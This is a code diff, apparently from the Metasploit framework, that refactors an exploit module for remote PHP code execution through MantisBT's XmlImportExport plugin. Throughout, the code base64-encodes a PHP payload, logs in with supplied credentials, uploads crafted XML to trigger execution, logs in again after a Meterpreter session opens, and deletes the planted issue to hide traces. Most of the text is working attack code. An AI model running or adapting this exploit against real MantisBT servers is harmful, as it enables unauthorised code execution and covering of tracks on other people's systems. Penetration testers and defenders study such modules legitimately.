@@ -52,26 +52,7 @@ def check
52
52
end
53
53
end
54
54
55
- def exec_php ( php_code , is_check = false )
56
-
57
- # remove comments, line breaks and spaces of php_code
58
- payload_clean = php_code . gsub ( /(\s +)|(#.*)/ , '' )
59
-
60
- # clean b64 payload
61
- while Rex ::Text . encode_base64 ( payload_clean ) =~ /=/
62
- payload_clean = "#{ payload_clean } "
63
- end
64
- payload_b64 = Rex ::Text . encode_base64 ( payload_clean )
65
-
66
- rand_text = Rex ::Text . rand_text_alpha_upper ( 5 , 8 )
67
- rand_num = Rex ::Text . rand_text_numeric ( 1 , 9 )
68
-
69
- if is_check
70
- timeout = 20
71
- else
72
- timeout = 3
73
- end
74
-
55
+ def do_login ( )
75
56
print_status ( "Checking access to MantisBT..." )
76
57
res = send_request_cgi ( {
77
58
'method' => 'GET' ,
@@ -86,13 +67,13 @@ def exec_php(php_code, is_check = false)
86
67
return false
87
68
end
88
69
89
- cookies = res . get_cookies
70
+ @ cookies = res . get_cookies
90
71
91
72
print_status ( 'Logging in...' )
92
73
res = send_request_cgi ( {
93
- 'method' => 'POST' ,
94
- 'uri' => normalize_uri ( target_uri . path , 'login.php' ) ,
95
- 'cookie' => cookies ,
74
+ 'method' => 'POST' ,
75
+ 'uri' => normalize_uri ( target_uri . path , 'login.php' ) ,
76
+ 'cookie' => @ cookies,
96
77
'vars_post' => {
97
78
'return' => normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import' ) ,
98
79
'username' => datastore [ 'username' ] ,
@@ -111,13 +92,24 @@ def exec_php(php_code, is_check = false)
111
92
return false
112
93
end
113
94
114
- cookies = "#{ cookies } #{ res . get_cookies } "
95
+ @cookies = "#{ @cookies } #{ res . get_cookies } "
96
+ end
97
+
98
+ def upload_xml ( payload_b64 , rand_text , is_check )
99
+
100
+ if is_check
101
+ timeout = 20
102
+ else
103
+ timeout = 3
104
+ end
105
+
106
+ rand_num = Rex ::Text . rand_text_numeric ( 1 , 9 )
115
107
116
108
print_status ( "Checking XmlImportExport plugin..." )
117
109
res = send_request_cgi ( {
118
110
'method' => 'GET' ,
119
111
'uri' => normalize_uri ( target_uri . path , 'plugin.php' ) ,
120
- 'cookie' => cookies ,
112
+ 'cookie' => @ cookies,
121
113
'vars_get' => {
122
114
'page' => 'XmlImportExport/import' ,
123
115
}
@@ -206,23 +198,41 @@ def exec_php(php_code, is_check = false)
206
198
data_post = data . to_s
207
199
208
200
print_status ( "Sending payload..." )
209
- res = send_request_cgi ( {
201
+ return send_request_cgi ( {
210
202
'method' => 'POST' ,
211
203
'uri' => normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import_action' ) ,
212
- 'headers' => {
213
- 'Cookie' => cookies ,
214
- } ,
204
+ 'cookie' => @cookies ,
215
205
'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
216
206
'data' => data_post ,
217
207
} , timeout )
208
+ end
209
+
210
+ def exec_php ( php_code , is_check = false )
211
+
212
+ # remove comments, line breaks and spaces of php_code
213
+ payload_clean = php_code . gsub ( /(\s +)|(#.*)/ , '' )
214
+
215
+ # clean b64 payload
216
+ while Rex ::Text . encode_base64 ( payload_clean ) =~ /=/
217
+ payload_clean = "#{ payload_clean } "
218
+ end
219
+ payload_b64 = Rex ::Text . encode_base64 ( payload_clean )
220
+
221
+ rand_text = Rex ::Text . rand_text_alpha ( 5 , 8 )
218
222
219
- res_payload = res
223
+ do_login ( )
224
+
225
+ res_payload = upload_xml ( payload_b64 , rand_text , is_check )
226
+
227
+ # When a meterpreter session is active, communication with the application is lost.
228
+ # Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
229
+ do_login ( )
220
230
221
231
print_status ( "Deleting the issue (#{ rand_text } )..." )
222
232
res = send_request_cgi ( {
223
- 'method' => 'GET' ,
224
- 'uri' => normalize_uri ( target_uri . path , 'my_view_page.php' ) ,
225
- 'cookie' => cookies ,
233
+ 'method' => 'GET' ,
234
+ 'uri' => normalize_uri ( target_uri . path , 'my_view_page.php' ) ,
235
+ 'cookie' => @ cookies,
226
236
} )
227
237
228
238
unless res && res . code == 200
@@ -240,7 +250,7 @@ def exec_php(php_code, is_check = false)
240
250
res = send_request_cgi ( {
241
251
'method' => 'GET' ,
242
252
'uri' => normalize_uri ( target_uri . path , 'bug_actiongroup_page.php' ) ,
243
- 'cookie' => cookies ,
253
+ 'cookie' => @ cookies,
244
254
'vars_get' => {
245
255
'bug_arr[]' => issue_id ,
246
256
'action' => 'DELETE' ,
@@ -257,7 +267,7 @@ def exec_php(php_code, is_check = false)
257
267
res = send_request_cgi ( {
258
268
'method' => 'POST' ,
259
269
'uri' => normalize_uri ( target_uri . path , 'bug_actiongroup.php' ) ,
260
- 'cookie' => cookies ,
270
+ 'cookie' => @ cookies,
261
271
'vars_post' => {
262
272
'bug_actiongroup_DELETE_token' => csrf_token ,
263
273
'bug_arr[]' => issue_id ,
0 commit comments